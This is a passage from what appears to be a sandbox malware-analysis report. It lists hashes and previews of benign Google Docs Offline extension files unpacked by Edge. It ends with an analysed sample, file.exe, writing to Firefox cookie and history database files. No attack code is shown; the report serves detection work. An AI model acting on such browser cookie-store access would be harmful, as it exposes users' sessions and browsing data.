SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
